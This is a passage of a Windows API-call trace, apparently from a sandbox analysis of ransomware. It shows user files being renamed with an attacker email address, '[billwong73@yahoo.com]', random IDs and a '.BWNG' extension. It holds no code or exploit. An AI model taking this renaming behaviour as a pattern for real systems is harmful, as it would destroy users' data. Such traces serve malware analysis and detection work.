lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\[billwong73@yahoo.com].0NqxcRtU-rPZoCAEV.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\sync extension settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\[billwong73@yahoo.com].0nqxcrtu-rpzocaev.bwng"), dwFlags=0x1) returned 1 [0134.135] GetTickCount () returned 0x1168f93 [0134.135] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27608724634) returned 1 [0134.135] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="c") returned 1 [0134.135] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="3") returned 1 [0134.135] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="s") returned 1 [0134.135] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="L") returned 1 [0134.135] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="f") returned 1 [0134.135] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="X") returned 1 [0134.135] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="H") returned 1 [0134.135] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="Y") returned 1 [0134.135] GetTickCount () returned 0x1168f93 [0134.135] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe34 | out: lpPerformanceCount=0x37cfe34*=27608755589) returned 1 [0134.135] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="2") returned 1 [0134.135] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="J") returned 1 [0134.135] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="h") returned 1 [0134.135] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="9") returned 1 [0134.135] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="Z") returned 1 [0134.136] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="2") returned 1 [0134.136] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="1") returned 1 [0134.136] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="S") returned 1 [0134.136] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\FeedsStore.feedsdb-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds\\feedsstore.feedsdb-ms"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\[billwong73@yahoo.com].c3sLfXHY-2Jh9Z21S.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds\\[billwong73@yahoo.com].c3slfxhy-2jh9z21s.bwng"), dwFlags=0x1) returned 1 [0134.137] GetTickCount () returned 0x1168f93 [0134.137] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27608909159) returned 1 [0134.137] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="E") returned 1 [0134.137] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="D") returned 1 [0134.137] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="3") returned 1 [0134.137] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="z") returned 1 [0134.137] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="i") returned 1 [0134.137] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="C") returned 1 [0134.137] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="e") returned 1 [0134.137] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="t") returned 1 [0134.137] GetTickCount () returned 0x1168f93 [0134.137] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe34 | out: lpPerformanceCount=0x37cfe34*=27608940984) returned 1 [0134.137] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="G") returned 1 [0134.137] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="A") returned 1 [0134.137] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="M") returned 1 [0134.137] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="D") returned 1 [0134.137] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="g") returned 1 [0134.137] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="B") returned 1 [0134.137] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="B") returned 1 [0134.137] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="0") returned 1 [0134.137] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\index.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds cache\\index.dat"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\[billwong73@yahoo.com].ED3ziCet-GAMDgBB0.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds cache\\[billwong73@yahoo.com].ed3zicet-gamdgbb0.bwng"), dwFlags=0x1) returned 1 [0134.139] GetTickCount () returned 0x1168f93 [0134.139] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27609080656) returned 1 [0134.139] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="H") returned 1 [0134.139] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="q") returned 1 [0134.139] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="O") returned 1 [0134.139] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="a") returned 1 [0134.139] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="8") returned 1 [0134.139] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="Y") returned 1 [0134.139] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="H") returned 1 [0134.139] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="g") returned 1 [0134.139] GetTickCount () returned 0x1168f93 [0134.139] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe34 | out: lpPerformanceCount=0x37cfe34*=27609111952) returned 1 [0134.139] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="e") returned 1 [0134.139] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="Y") returned 1 [0134.139] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="L") returned 1 [0134.139] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="v") returned 1 [0134.139] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="S") returned 1 [0134.139] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="0") returned 1 [0134.139] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="0") returned 1 [0134.139] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="t") returned 1 [0134.139] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\06_Pictures_rated_4_or_5_stars.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\06_pictures_rated_4_or_5_stars.wpl"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\[billwong73@yahoo.com].HqOa8YHg-eYLvS00t.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\[billwong73@yahoo.com].hqoa8yhg-eylvs00t.bwng"), dwFlags=0x1) returned 1 [0134.140] GetTickCount () returned 0x1168f93 [0134.140] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27609261866) returned 1 [0134.140] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="o") returned 1 [0134.140] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="y") returned 1 [0134.141] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="i") returned 1 [0134.141] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="k") returned 1 [0134.141] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="T") returned 1 [0134.141] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="T") returned 1 [0134.141] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="S") returned 1 [0134.141] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="0") returned 1 [0134.141] GetTickCount () returned 0x1168f93 [0134.141] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe34 | out: lpPerformanceCount=0x37cfe34*=27609292794) returned 1 [0134.141] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="v") returned 1 [0134.141] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="1") returned 1 [0134.141] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="D") returned 1 [0134.141] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="l") returned 1 [0134.141] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="J") returned 1 [0134.141] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="t") returned 1 [0134.141] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="1") returned 1 [0134.141] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="M") returned 1 [0134.141] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\04_Music_played_in_the_last_month.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\04_music_played_in_the_last_month.wpl"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\[billwong73@yahoo.com].oyikTTS0-v1DlJt1M.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\[billwong73@yahoo.com].oyiktts0-v1dljt1m.bwng"), dwFlags=0x1) returned 1 [0134.142] GetTickCount () returned 0x1168f93 [0134.142] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27609445038) returned 1 [0134.142] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="H") returned 1 [0134.142] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="m") returned 1 [0134.142] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="G") returned 1 [0134.142] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="B") returned 1 [0134.142] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="Z") returned 1 [0134.142] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="A") returned 1 [0134.142] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="E") returned 1 [0134.142] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="v") returned 1 [0134.143] GetTickCount () returned 0x1168f93 [0134.143] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe34 | out: lpPerformanceCount=0x37cfe34*=27609475893) returned 1 [0134.143] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="9") returned 1 [0134.143] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="T") returned 1 [0134.143] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="H") returned 1 [0134.143] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="e") returned 1 [0134.143] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="J") returned 1 [0134.143] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="H") returned 1 [0134.143] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="V") returned 1 [0134.143] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="f") returned 1 [0134.143] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Outlook\\Outlook.sharing.xml.obi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\outlook\\outlook.sharing.xml.obi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Outlook\\[billwong73@yahoo.com].HmGBZAEv-9THeJHVf.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\outlook\\[billwong73@yahoo.com].hmgbzaev-9thejhvf.bwng"), dwFlags=0x1) returned 1 [0134.144] GetTickCount () returned 0x1168f93 [0134.144] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27609624337) returned 1 [0134.144] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="S") returned 1 [0134.144] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="v") returned 1 [0134.144] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="B") returned 1 [0134.144] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="i") returned 1 [0134.144] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="H") returned 1 [0134.144] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="Y") returned 1 [0134.144] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="6") returned 1 [0134.144] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="K") returned 1 [0134.144] GetTickCount () returned 0x1168f93 [0134.144] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe34 | out: lpPerformanceCount=0x37cfe34*=27609655578) returned 1 [0134.144] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="T") returned 1 [0134.288] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft Help\\MS.EXCEL.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.excel.14.1033.hxn"), lpNewFileName="C:\\Users\\All Users\\Microsoft Help\\[billwong73@yahoo.com].SvBiHY6K-TsLiCjln.BWNG" (normalized: "c:\\users\\all users\\microsoft help\\[billwong73@yahoo.com].svbihy6k-tslicjln.bwng"), dwFlags=0x1) returned 0 [0134.289] GetTickCount () returned 0x116902f [0134.289] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27624080725) returned 1 [0134.289] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft Help\\MS.MSPUB.DEV.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.mspub.dev.14.1033.hxn"), lpNewFileName="C:\\Users\\All Users\\Microsoft Help\\[billwong73@yahoo.com].llVf64qe-yiCdjvk5.BWNG" (normalized: "c:\\users\\all users\\microsoft help\\[billwong73@yahoo.com].llvf64qe-yicdjvk5.bwng"), dwFlags=0x1) returned 0 [0134.289] GetTickCount () returned 0x116902f [0134.289] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27624129625) returned 1 [0134.289] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft Help\\MS.VISIO.DEV.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.visio.dev.14.1033.hxn"), lpNewFileName="C:\\Users\\All Users\\Microsoft Help\\[billwong73@yahoo.com].vQEJM6x3-3inYNaYg.BWNG" (normalized: "c:\\users\\all users\\microsoft help\\[billwong73@yahoo.com].vqejm6x3-3inynayg.bwng"), dwFlags=0x1) returned 0 [0134.289] GetTickCount () returned 0x116902f [0134.289] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27624169486) returned 1 [0134.290] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\x64\\Windows6.1-KB2999226-x64.msu" (normalized: "c:\\users\\all users\\package cache\\54050a5f8ae7f0c56e553f0090146c17a1d2bf8d\\packages\\patch\\x64\\windows6.1-kb2999226-x64.msu"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\x64\\[billwong73@yahoo.com].4Hwmfbg7-z466qEc7.BWNG" (normalized: "c:\\users\\all users\\package cache\\54050a5f8ae7f0c56e553f0090146c17a1d2bf8d\\packages\\patch\\x64\\[billwong73@yahoo.com].4hwmfbg7-z466qec7.bwng"), dwFlags=0x1) returned 0 [0134.290] GetTickCount () returned 0x116902f [0134.290] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27624222155) returned 1 [0134.290] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Package 